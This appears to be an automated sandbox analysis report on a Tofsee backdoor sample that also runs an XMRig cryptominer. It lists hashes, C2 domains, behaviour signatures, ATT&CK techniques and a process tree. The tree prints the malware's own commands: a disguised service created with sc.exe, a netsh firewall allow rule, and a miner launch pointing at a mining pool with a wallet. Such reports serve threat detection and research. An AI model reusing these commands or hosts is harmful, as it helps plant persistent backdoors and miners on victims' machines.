Analysis

  • max time kernel
    149s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    04-06-2022 06:57

General

  • Target

    5e3d15bd0acac86c98b4606e40149922d32c611161ba9b337e33e68d3b725831.exe

  • Size

    196KB

  • MD5

    5b2a606e780ef398a7b3d047db5589d0

  • SHA1

    669dca601722deab8f639c1a24232e6749b010fb

  • SHA256

    5e3d15bd0acac86c98b4606e40149922d32c611161ba9b337e33e68d3b725831

  • SHA512

    531058f12e8a52201f942b49ae7555d16a60f9fcae27e54111bda8e89b73d7072f436d81674ead810926bb673155eab1c9de782e5d9d01fa0b69ebeb8bc3295f

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5e3d15bd0acac86c98b4606e40149922d32c611161ba9b337e33e68d3b725831.exe
    "C:\Users\Admin\AppData\Local\Temp\5e3d15bd0acac86c98b4606e40149922d32c611161ba9b337e33e68d3b725831.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2992
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ivfizxwy\
      2⤵
        PID:1752
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pgwbfped.exe" C:\Windows\SysWOW64\ivfizxwy\
        2⤵
          PID:720
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ivfizxwy binPath= "C:\Windows\SysWOW64\ivfizxwy\pgwbfped.exe /d\"C:\Users\Admin\AppData\Local\Temp\5e3d15bd0acac86c98b4606e40149922d32c611161ba9b337e33e68d3b725831.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4364
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ivfizxwy "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2608
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ivfizxwy
          2⤵
          • Launches sc.exe
          PID:1264
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1540
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2992 -s 1236
          2⤵
          • Program crash
          PID:4444
      • C:\Windows\SysWOW64\ivfizxwy\pgwbfped.exe
        C:\Windows\SysWOW64\ivfizxwy\pgwbfped.exe /d"C:\Users\Admin\AppData\Local\Temp\5e3d15bd0acac86c98b4606e40149922d32c611161ba9b337e33e68d3b725831.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4608
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1076
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2776
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4608 -s 524
          2⤵
          • Program crash
          PID:2888
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2992 -ip 2992
        1⤵
          PID:1272
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4608 -ip 4608
          1⤵
            PID:1972

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\pgwbfped.exe
            Filesize

            12.0MB

            MD5

            a8bcbea0dcec55651b2761be46fea118

            SHA1

            84bc1d1d6e051feb87a37779924cf62fcc9a0d87

            SHA256

            91ff0bec8ea5360d2ff0fc3b788473584c934abc9eecd1dfa595e632fbc03289

            SHA512

            72047f2aa4ba705c6ae033a24fb8d5b437394b9b1239c703be24dc3f05da11f242fab3ec9770026d026808d4d86e8a2b35e033c3accb9b3d886eb7696ee33116

          • C:\Windows\SysWOW64\ivfizxwy\pgwbfped.exe
            Filesize

            12.0MB

            MD5

            a8bcbea0dcec55651b2761be46fea118

            SHA1

            84bc1d1d6e051feb87a37779924cf62fcc9a0d87

            SHA256

            91ff0bec8ea5360d2ff0fc3b788473584c934abc9eecd1dfa595e632fbc03289

            SHA512

            72047f2aa4ba705c6ae033a24fb8d5b437394b9b1239c703be24dc3f05da11f242fab3ec9770026d026808d4d86e8a2b35e033c3accb9b3d886eb7696ee33116

          • memory/720-134-0x0000000000000000-mapping.dmp
          • memory/1076-160-0x00000000021E0000-0x00000000021E5000-memory.dmp
            Filesize

            20KB

          • memory/1076-149-0x0000000000E10000-0x0000000000E25000-memory.dmp
            Filesize

            84KB

          • memory/1076-154-0x0000000000FE0000-0x0000000000FE6000-memory.dmp
            Filesize

            24KB

          • memory/1076-151-0x0000000002A00000-0x0000000002C0F000-memory.dmp
            Filesize

            2.1MB

          • memory/1076-150-0x0000000000E10000-0x0000000000E25000-memory.dmp
            Filesize

            84KB

          • memory/1076-157-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/1076-145-0x0000000000E10000-0x0000000000E25000-memory.dmp
            Filesize

            84KB

          • memory/1076-144-0x0000000000000000-mapping.dmp
          • memory/1076-166-0x00000000021F0000-0x00000000021F7000-memory.dmp
            Filesize

            28KB

          • memory/1076-163-0x0000000007A00000-0x0000000007E0B000-memory.dmp
            Filesize

            4.0MB

          • memory/1264-138-0x0000000000000000-mapping.dmp
          • memory/1540-140-0x0000000000000000-mapping.dmp
          • memory/1752-133-0x0000000000000000-mapping.dmp
          • memory/2608-137-0x0000000000000000-mapping.dmp
          • memory/2776-175-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/2776-169-0x0000000000000000-mapping.dmp
          • memory/2776-170-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/2992-142-0x0000000000400000-0x00000000008FB000-memory.dmp
            Filesize

            5.0MB

          • memory/2992-130-0x0000000000C98000-0x0000000000CA6000-memory.dmp
            Filesize

            56KB

          • memory/2992-141-0x0000000000C98000-0x0000000000CA6000-memory.dmp
            Filesize

            56KB

          • memory/2992-132-0x0000000000400000-0x00000000008FB000-memory.dmp
            Filesize

            5.0MB

          • memory/2992-131-0x0000000000A50000-0x0000000000A63000-memory.dmp
            Filesize

            76KB

          • memory/4364-136-0x0000000000000000-mapping.dmp
          • memory/4608-148-0x0000000000400000-0x00000000008FB000-memory.dmp
            Filesize

            5.0MB